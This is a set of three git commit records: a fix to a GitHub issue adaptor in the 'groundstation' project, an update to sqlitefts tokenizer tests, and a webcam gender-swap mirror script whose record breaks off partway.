<commit_before>_version_ = "0.0.0"
_identifier_ = "richo@psych0tik.net:github:%s" % (_version_)

import json
import copy

from groundstation.gref import Gref

import groundstation.objects.object_factory as object_factory

from groundstation.objects.root_object import RootObject
from groundstation.objects.update_object import UpdateObject

from groundstation import logger
log = logger.getLogger(__name__)

class AbstractGithubAdaptor(object):
    issue_format = "issues/%d"

    def __init__(self, station, repo):
        self.station = station
        self.repo = repo
        self.channel = "github:%s" % (self.repo_name)

    def issue_gref(self, issue):
        return Gref(self.station.store, self.channel, self._issue_id(issue))

    def _issue_id(self, issue):
        return self.issue_format % (issue)

class GithubReadAdaptor(AbstractGithubAdaptor):
    """GithubReadAdaptor(station, repo_name)

    Accepts a station and the name of a github repo, ie "richo/groundstation"
    """
    @property
    def repo_name(self):
        return self.repo

    def get_issue(self, issue):
        if isinstance(issue, Gref):
            gref = issue
        else:
            gref = self.issue_gref(issue)

        visited_nodes = []
        root_nodes = []
        issue_thread = []  # We'll treat this as a stack and pop the events off
                           # int he right order

        # Walk the tips backwards. To do this right, we should have kept
        # timestamps and used that for ordering
        def _process(node):
            if node not in visited_nodes:
                visited_nodes.append(node)
                log.debug("node: %s" % node)
                obj = object_factory.hydrate_object(self.station.store[node].data)
                if isinstance(obj, RootObject): # We've reached the back of this tree
                    root_nodes.append(obj)
                    return
                issue_thread.append(obj)
                for tip in obj.parents:
                    log.debug("Tip: %s" % tip)
                    _process(tip)

        for tip in gref:
            log.debug("Descending into %s" % (tip))
            _process(tip)

        assert(len(root_nodes) == 1,
            "Anything other than one root node and you've got a problem")

        issue_thread.append(root_nodes.pop())

        return issue_thread

class GithubWriteAdaptor(AbstractGithubAdaptor):
    """GithubAdaptor(station, gh)

    Accepts a station and a github repo object (from PyGithub)
    """
    protocol = _identifier_

    @property
    def repo_name(self):
        return self.repo.full_name.replace("/", "_")

    def write_issue(self, issue):
        # Stupid implementation, blindly write with no deduping or merge
        # resolution.
        parents = []
        issue_id = self._issue_id(issue.number)
        gref = self.issue_gref(issue)

        def _write_new_tip(obj):
            our_parents = []
            while parents:
                our_parents.append(parents.pop())
            log.debug("Creating new object with parents: %s" % (str(our_parents)))

            oid = self.station.write(obj.as_object())
            self.station.update_gref(gref, [oid], our_parents)
            parents.append(oid)
            log.debug("Setting parents to: %s" % (str(parents)))

        def _parents():
            return copy.copy(parents)

        # Bail out if we've already written:
        if gref.exists():
            log.info("Not creating any objects, a gref already exists at: %s" % str(gref))
            return False

        # Write out a root object
        log.info(("Creating a new root_object with:\n" +
                  "id: %s\n" +
                  "channel: %s\n" +
                  "protocol: %s") % (issue_id, self.channel, self.protocol))

        root_object = RootObject(issue_id, self.channel, self.protocol)
        _write_new_tip(root_object)

        # Write out the initial state
        # Creating lots of tiny objects should make deduping easier later
        title_payload = {
                "type": "title",
                "id": None,
                "body": issue.title
                }
        update_object = UpdateObject(_parents(), json.dumps(title_payload))
        _write_new_tip(update_object)

        # Write out the body of the issue
        body_payload = {
                "type": "body",
                "id": None,
                "body": issue.body
                }
        update_object = UpdateObject(_parents(), json.dumps(body_payload))
        _write_new_tip(update_object)

        # Write out all of the comments
        for comment in issue.get_comments():
            comment_payload = {
                    "type": "comment",
                    "id": None,
                    "body": comment.body,
                    "user": comment.user.login
                    }
            update_object = UpdateObject(_parents(), json.dumps(comment_payload))
            _write_new_tip(update_object)
<commit_msg>Correctly coerce Issue object<commit_after>_version_ = "0.0.0"
_identifier_ = "richo@psych0tik.net:github:%s" % (_version_)

import json
import copy

from groundstation.gref import Gref

import groundstation.objects.object_factory as object_factory

from groundstation.objects.root_object import RootObject
from groundstation.objects.update_object import UpdateObject

from groundstation import logger
log = logger.getLogger(__name__)

class AbstractGithubAdaptor(object):
    issue_format = "issues/%d"

    def __init__(self, station, repo):
        self.station = station
        self.repo = repo
        self.channel = "github:%s" % (self.repo_name)

    def issue_gref(self, issue):
        return Gref(self.station.store, self.channel, self._issue_id(issue))

    def _issue_id(self, issue):
        return self.issue_format % (issue)

class GithubReadAdaptor(AbstractGithubAdaptor):
    """GithubReadAdaptor(station, repo_name)

    Accepts a station and the name of a github repo, ie "richo/groundstation"
    """
    @property
    def repo_name(self):
        return self.repo

    def get_issue(self, issue):
        if isinstance(issue, Gref):
            gref = issue
        else:
            gref = self.issue_gref(issue)

        visited_nodes = []
        root_nodes = []
        issue_thread = []  # We'll treat this as a stack and pop the events off
                           # int he right order

        # Walk the tips backwards. To do this right, we should have kept
        # timestamps and used that for ordering
        def _process(node):
            if node not in visited_nodes:
                visited_nodes.append(node)
                log.debug("node: %s" % node)
                obj = object_factory.hydrate_object(self.station.store[node].data)
                if isinstance(obj, RootObject): # We've reached the back of this tree
                    root_nodes.append(obj)
                    return
                issue_thread.append(obj)
                for tip in obj.parents:
                    log.debug("Tip: %s" % tip)
                    _process(tip)

        for tip in gref:
            log.debug("Descending into %s" % (tip))
            _process(tip)

        assert(len(root_nodes) == 1,
            "Anything other than one root node and you've got a problem")

        issue_thread.append(root_nodes.pop())

        return issue_thread

class GithubWriteAdaptor(AbstractGithubAdaptor):
    """GithubAdaptor(station, gh)

    Accepts a station and a github repo object (from PyGithub)
    """
    protocol = _identifier_

    @property
    def repo_name(self):
        return self.repo.full_name.replace("/", "_")

    def write_issue(self, issue):
        # Stupid implementation, blindly write with no deduping or merge
        # resolution.
        parents = []
        issue_id = self._issue_id(issue.number)
        gref = self.issue_gref(issue.number)

        def _write_new_tip(obj):
            our_parents = []
            while parents:
                our_parents.append(parents.pop())
            log.debug("Creating new object with parents: %s" % (str(our_parents)))

            oid = self.station.write(obj.as_object())
            self.station.update_gref(gref, [oid], our_parents)
            parents.append(oid)
            log.debug("Setting parents to: %s" % (str(parents)))

        def _parents():
            return copy.copy(parents)

        # Bail out if we've already written:
        if gref.exists():
            log.info("Not creating any objects, a gref already exists at: %s" % str(gref))
            return False

        # Write out a root object
        log.info(("Creating a new root_object with:\n" +
                  "id: %s\n" +
                  "channel: %s\n" +
                  "protocol: %s") % (issue_id, self.channel, self.protocol))

        root_object = RootObject(issue_id, self.channel, self.protocol)
        _write_new_tip(root_object)

        # Write out the initial state
        # Creating lots of tiny objects should make deduping easier later
        title_payload = {
                "type": "title",
                "id": None,
                "body": issue.title
                }
        update_object = UpdateObject(_parents(), json.dumps(title_payload))
        _write_new_tip(update_object)

        # Write out the body of the issue
        body_payload = {
                "type": "body",
                "id": None,
                "body": issue.body
                }
        update_object = UpdateObject(_parents(), json.dumps(body_payload))
        _write_new_tip(update_object)

        # Write out all of the comments
        for comment in issue.get_comments():
            comment_payload = {
                    "type": "comment",
                    "id": None,
                    "body": comment.body,
                    "user": comment.user.login
                    }
            update_object = UpdateObject(_parents(), json.dumps(comment_payload))
            _write_new_tip(update_object)
<|endoftext|>


<commit_before># coding: utf-8
from __future__ import print_function, unicode_literals
import sqlite3
import ctypes
import struct
import re

import sqlitefts as fts

class SimpleTokenizer(fts.Tokenizer):
    _p = re.compile(r'\w+', re.UNICODE)

    def tokenize(self, text):
        for m in self._p.finditer(text):
            s, e = m.span()
            t = text[s:e]
            l = len(t.encode('utf-8'))
            p = len(text[:s].encode('utf-8'))
            yield t, p, p + l

def test_make_tokenizer():
    c = sqlite3.connect(':memory:')
    tokenizer_module = fts.make_tokenizer_module(SimpleTokenizer())
    assert fts.tokenizer.sqlite3_tokenizer_module == type(tokenizer_module)
    c.close()

def test_reginster_tokenizer():
    name = 'simpe'
    c = sqlite3.connect(':memory:')
    tokenizer_module = fts.make_tokenizer_module(SimpleTokenizer())
    fts.register_tokenizer(c, name, tokenizer_module)
    v = c.execute("SELECT FTS3_TOKENIZER(?)", (name,)).fetchone()[0]
    assert ctypes.addressof(tokenizer_module) == struct.unpack("P", v)[0]
    c.close()

def test_createtable():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    sql = "CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name)
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute(sql)
    r = c.execute("SELECT * FROM sqlite_master WHERE type='table' AND name='fts'").fetchone()
    assert r
    assert r[str('type')] == 'table' and r[str('name')] == 'fts' and r[str('tbl_name')] == 'fts'
    assert r[str('sql')].upper() == sql.upper()
    c.close()

def test_insert():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    content = 'これは日本語で書かれています'
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute("CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name))
    r = c.execute('INSERT INTO fts VALUES(?)', (content,))
    assert r.rowcount == 1
    r = c.execute("SELECT * FROM fts").fetchone()
    assert r
    assert r[str('content')] == content
    c.close()

def test_match():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    contents = [('abc def',),
                ('abc xyz',),
                ('あいうえお かきくけこ',),
                ('あいうえお らりるれろ',)]
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute("CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name))
    r = c.executemany('INSERT INTO fts VALUES(?)', contents)
    assert r.rowcount == 4
    r = c.execute("SELECT * FROM fts").fetchall()
    assert len(r) == 4
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'abc'").fetchall()
    assert len(r) == 2
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'def'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[0][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'xyz'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[1][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'zzz'").fetchall()
    assert len(r) == 0
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'あいうえお'").fetchall()
    assert len(r) == 2
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'かきくけこ'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[2][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'らりるれろ'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[3][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'まみむめも'").fetchall()
    assert len(r) == 0
    c.close()

def test_full_text_index_queries():
    name = 'simple'
    docs = [('README', 'sqlitefts-python provides binding for tokenizer of SQLite Full-Text search(FTS3/4). It allows you to write tokenizers in Python.'),
            ('LICENSE', '''Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:'''),
            ('日本語', 'あいうえお かきくけこ さしすせそ たちつてと なにぬねの')]
    with sqlite3.connect(':memory:') as c:
        c.row_factory = sqlite3.Row
        fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
        c.execute("CREATE VIRTUAL TABLE docs USING FTS4(title, body, tokenize={})".format(name))
        c.executemany("INSERT INTO docs(title, body) VALUES(?, ?)", docs)
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Python'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'to'").fetchall()
        assert len(r) == 2
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'らりるれろ'").fetchall()
        assert len(r) == 0
        assert (c.execute("SELECT * FROM docs WHERE docs MATCH 'binding'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE body MATCH 'binding'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE body MATCH 'binding'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE docs MATCH 'body:binding'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE body MATCH 'あいうえお'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE body MATCH 'かきくけこ'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE docs MATCH 'body:かきくけこ'").fetchall()[0])
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:README'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:日本語'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE title MATCH 'bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE title MATCH 'README'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE title MATCH '日本語'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'to in'").fetchall()
        assert len(r) == 2
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Py*'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Z*'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あ*'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'ん*'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'tokenizer SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tokenizer SQLite\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あいうえお たちつてと\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tok* SQL*\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tok* of SQL*\"'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あ* さ*\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あ* かきくけこ さ*\"'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'tokenizer NEAR SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding NEAR/2 SQLite'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding NEAR/3 SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR/2 たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR/3 たちつてと'").fetchall()
        assert len(r) == 1

def test_tokenizer_output():
    name = 'simple'
    with sqlite3.connect(':memory:') as c:
        c.execute("CREATE VIRTUAL TABLE tok1 USING fts3tokenize({})".format(name))
        expect = [("this", 0, 4, 0), ("is", 5, 7, 1),
                  ("a", 8, 9, 2), ("test", 10, 14, 3), ("sentence", 15, 23, 4)]
        for a, e in zip(c.execute("SELECT token, start, end, position "
                                  "FROM tok1 WHERE input='This is a test sentence.'"), expect):
            assert e == a

        s = 'これ は テスト の 文 です'
        expect = [(None, 0, -1, 0)]
        for i, t in enumerate(s.split()):
            expect.append((t, expect[-1][2] + 1, expect[-1][2] + 1 + len(t.encode('utf-8')), i))
        expect = expect[1:]
        for a, e in zip(c.execute("SELECT token, start, end, position "
                                  "FROM tok1 WHERE input=?", [s]), expect):
            assert e == a
<commit_msg>use own tokenizer<commit_after># coding: utf-8
from __future__ import print_function, unicode_literals
import sqlite3
import ctypes
import struct
import re

import sqlitefts as fts

class SimpleTokenizer(fts.Tokenizer):
    _p = re.compile(r'\w+', re.UNICODE)

    def tokenize(self, text):
        for m in self._p.finditer(text):
            s, e = m.span()
            t = text[s:e]
            l = len(t.encode('utf-8'))
            p = len(text[:s].encode('utf-8'))
            yield t, p, p + l

def test_make_tokenizer():
    c = sqlite3.connect(':memory:')
    tokenizer_module = fts.make_tokenizer_module(SimpleTokenizer())
    assert fts.tokenizer.sqlite3_tokenizer_module == type(tokenizer_module)
    c.close()

def test_reginster_tokenizer():
    name = 'simpe'
    c = sqlite3.connect(':memory:')
    tokenizer_module = fts.make_tokenizer_module(SimpleTokenizer())
    fts.register_tokenizer(c, name, tokenizer_module)
    v = c.execute("SELECT FTS3_TOKENIZER(?)", (name,)).fetchone()[0]
    assert ctypes.addressof(tokenizer_module) == struct.unpack("P", v)[0]
    c.close()

def test_createtable():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    sql = "CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name)
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute(sql)
    r = c.execute("SELECT * FROM sqlite_master WHERE type='table' AND name='fts'").fetchone()
    assert r
    assert r[str('type')] == 'table' and r[str('name')] == 'fts' and r[str('tbl_name')] == 'fts'
    assert r[str('sql')].upper() == sql.upper()
    c.close()

def test_insert():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    content = 'これは日本語で書かれています'
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute("CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name))
    r = c.execute('INSERT INTO fts VALUES(?)', (content,))
    assert r.rowcount == 1
    r = c.execute("SELECT * FROM fts").fetchone()
    assert r
    assert r[str('content')] == content
    c.close()

def test_match():
    c = sqlite3.connect(':memory:')
    c.row_factory = sqlite3.Row
    name = 'simple'
    contents = [('abc def',),
                ('abc xyz',),
                ('あいうえお かきくけこ',),
                ('あいうえお らりるれろ',)]
    fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
    c.execute("CREATE VIRTUAL TABLE fts USING FTS4(tokenize={})".format(name))
    r = c.executemany('INSERT INTO fts VALUES(?)', contents)
    assert r.rowcount == 4
    r = c.execute("SELECT * FROM fts").fetchall()
    assert len(r) == 4
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'abc'").fetchall()
    assert len(r) == 2
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'def'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[0][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'xyz'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[1][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'zzz'").fetchall()
    assert len(r) == 0
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'あいうえお'").fetchall()
    assert len(r) == 2
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'かきくけこ'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[2][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'らりるれろ'").fetchall()
    assert len(r) == 1 and r[0][str('content')] == contents[3][0]
    r = c.execute("SELECT * FROM fts WHERE fts MATCH 'まみむめも'").fetchall()
    assert len(r) == 0
    c.close()

def test_full_text_index_queries():
    name = 'simple'
    docs = [('README', 'sqlitefts-python provides binding for tokenizer of SQLite Full-Text search(FTS3/4). It allows you to write tokenizers in Python.'),
            ('LICENSE', '''Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:'''),
            ('日本語', 'あいうえお かきくけこ さしすせそ たちつてと なにぬねの')]
    with sqlite3.connect(':memory:') as c:
        c.row_factory = sqlite3.Row
        fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
        c.execute("CREATE VIRTUAL TABLE docs USING FTS4(title, body, tokenize={})".format(name))
        c.executemany("INSERT INTO docs(title, body) VALUES(?, ?)", docs)
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Python'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'to'").fetchall()
        assert len(r) == 2
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'らりるれろ'").fetchall()
        assert len(r) == 0
        assert (c.execute("SELECT * FROM docs WHERE docs MATCH 'binding'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE body MATCH 'binding'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE body MATCH 'binding'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE docs MATCH 'body:binding'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE body MATCH 'あいうえお'").fetchall()[0])
        assert (c.execute("SELECT * FROM docs WHERE body MATCH 'かきくけこ'").fetchall()[0] ==
                c.execute("SELECT * FROM docs WHERE docs MATCH 'body:かきくけこ'").fetchall()[0])
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:README'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'title:日本語'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE title MATCH 'bind'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE title MATCH 'README'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE title MATCH '日本語'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'to in'").fetchall()
        assert len(r) == 2
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Py*'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'Z*'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あ*'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'ん*'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'tokenizer SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tokenizer SQLite\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あいうえお たちつてと\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tok* SQL*\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"tok* of SQL*\"'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あ* さ*\"'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH '\"あ* かきくけこ さ*\"'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'tokenizer NEAR SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding NEAR/2 SQLite'").fetchall()
        assert len(r) == 0
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'binding NEAR/3 SQLite'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR/2 たちつてと'").fetchall()
        assert len(r) == 1
        r = c.execute("SELECT * FROM docs WHERE docs MATCH 'あいうえお NEAR/3 たちつてと'").fetchall()
        assert len(r) == 1

def test_tokenizer_output():
    name = 'simple'
    with sqlite3.connect(':memory:') as c:
        fts.register_tokenizer(c, name, fts.make_tokenizer_module(SimpleTokenizer()))
        c.execute("CREATE VIRTUAL TABLE tok1 USING fts3tokenize({})".format(name))
        expect = [("This", 0, 4, 0), ("is", 5, 7, 1),
                  ("a", 8, 9, 2), ("test", 10, 14, 3), ("sentence", 15, 23, 4)]
        for a, e in zip(c.execute("SELECT token, start, end, position "
                                  "FROM tok1 WHERE input='This is a test sentence.'"), expect):
            assert e == a

        s = 'これ は テスト の 文 です'
        expect = [(None, 0, -1, 0)]
        for i, t in enumerate(s.split()):
            expect.append((t, expect[-1][2] + 1, expect[-1][2] + 1 + len(t.encode('utf-8')), i))
        expect = expect[1:]
        for a, e in zip(c.execute("SELECT token, start, end, position "
                                  "FROM tok1 WHERE input=?", [s]), expect):
            assert e == a
<|endoftext|>


<commit_before>import cv2
import pixelqueer as queer
import argparse
import sys # More like cis am I right? (I'm not right.)
import pickle
import numpy as np
from config import *
from processor import *

# Mirrors see a face from the camera, and project its dream of the face.
class Mirror:
    def __init__(self, cis_eigenfaces, trans_eigenfaces, trans_matrix):
        self.cis_eigenfaces = cis_eigenfaces
        self.trans_eigenfaces = trans_eigenfaces
        self.trans_matrix = trans_matrix

    # Projects a source image onto a new, gender-bent target image.
    def project(self, source_image):
        #return source_image
        return queer.swap_gender(self.cis_eigenfaces, self.trans_eigenfaces, self.trans_matrix, source_image)

# The frame holds two mirrors, letting the user toggle between them.
class Frame:
    def __init__(self, learn_file):
        # Pull the matrices from the brain file.
        print "Unpickling brain in formaldehyde.."
        male_eigenfaces = pickle.load(learn_file)
        female_eigenfaces = pickle.load(learn_file)
        mtf_matrix = pickle.load(learn_file)
        ftm_matrix = pickle.load(learn_file)

        # Spin up mirrors.
        print "Spooling up the mirrors.."
        self.config = Config()
        self.p = FaceProcessor(self.config)
        self.mtf_mirror = Mirror(male_eigenfaces, female_eigenfaces, mtf_matrix)
        self.ftm_mirror = Mirror(female_eigenfaces, male_eigenfaces, ftm_matrix)

        # Default is MTF ('cause I made this :D)
        self.current = self.mtf_mirror

        # Our camera is started here.
        print "Opening shutter.."
        self.cam = cv2.VideoCapture(0)

        # Temp: store dimensions here. We should really pickle 'em.
        self.eigen_w = 768
        self.eigen_h = 512

    def capture_image(self):
        # Get an image frame from the camera.
        status, frame = self.cam.read()

        frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
        coords = self.p.locate_face(frame)
        if coords == None:
            return frame

        cv2.rectangle(frame, (coords.x, coords.y), (coords.x+coords.w, coords.y+coords.h), 0, 2)

        face = self.p.extract_region(frame, coords)
        face = (face - 127.0) / 127.0
        face = face - face.mean()

        resized_face = cv2.resize(face, (self.config.eigen_w, self.config.eigen_h), interpolation = cv2.INTER_LINEAR)
        altered_face = self.current.project(resized_face)
        altered_face = cv2.resize(altered_face, face.shape, interpolation = cv2.INTER_LINEAR)
        gray_face = ((altered_face+1.0)/2.0 * 255).astype(np.uint8)
        frame = self.p.insert_face(frame, gray_face, coords)

        return frame

    def loop(self):
        while True:
            face = self.capture_image()

            cv2.imshow("Video", face)

            # This is necessary or the image won't display!
            keyPressed = cv2.waitKey(1)

            # Switch from MTF to FTM, as necessary.
            if keyPressed == ord('f'):
                self.current = self.mtf_mirror
            if keyPressed == ord('m'):
                self.current = self.ftm_mirror

parser = argparse.ArgumentParser(description="Pixelqueer mirror")
parser.add_argument("brain", help="Path to brain file (created by cmd.py)")
args = parser.parse_args(sys.argv[1:])

# Create the frame and run forever within it.
frame = Frame(open(args.brain, "rb"))
frame.loop()
<commit_msg>More ghastly.<commit_after>import cv2
import pixelqueer as queer
import argparse
import sys # More like cis am I right? (I'm not right.)
import pickle
import numpy as np
from config import *
from processor import *

# Mirrors see a face from the camera, and project its dream of the face.
class Mirror:
    def __init__(self, cis_eigenfaces, trans_eigenfaces, trans_matrix):
        self.cis_eigenfaces = cis_eigenfaces
        self.trans_eigenfaces = trans_eigenfaces
        self.trans_matrix = trans_matrix

    # Projects a source image onto a new, gender-bent target image.
    def project(self, source_image):
        #return source_image
        return queer.swap_gender(self.cis_eigenfaces, self.trans_eigenfaces, self.trans_matrix, source_image)

# The frame holds two mirrors, letting the user toggle between them.
class Frame:
    def __init__(self, learn_file):
        # Pull the matrices from the brain file.
        print "Unpickling brain in formaldehyde.."
        male_eigenfaces = pickle.load(learn_file)
        female_eigenfaces = pickle.load(learn_file)
        mtf_matrix = pickle.load(learn_file)
        ftm_matrix = pickle.load(learn_file)

        # Spin up mirrors.
        print "Spooling up the mirrors.."
        self.config = Config()
        self.p = FaceProcessor(self.config)
        self.mtf_mirror = Mirror(male_eigenfaces, female_eigenfaces, mtf_matrix)
        self.ftm_mirror = Mirror(female_eigenfaces, male_eigenfaces, ftm_matrix)

        # Default is MTF ('cause I made this :D)
        self.current = self.mtf_mirror

        # Our camera is started here.
        print "Opening shutter.."
        self.cam = cv2.VideoCapture(0)

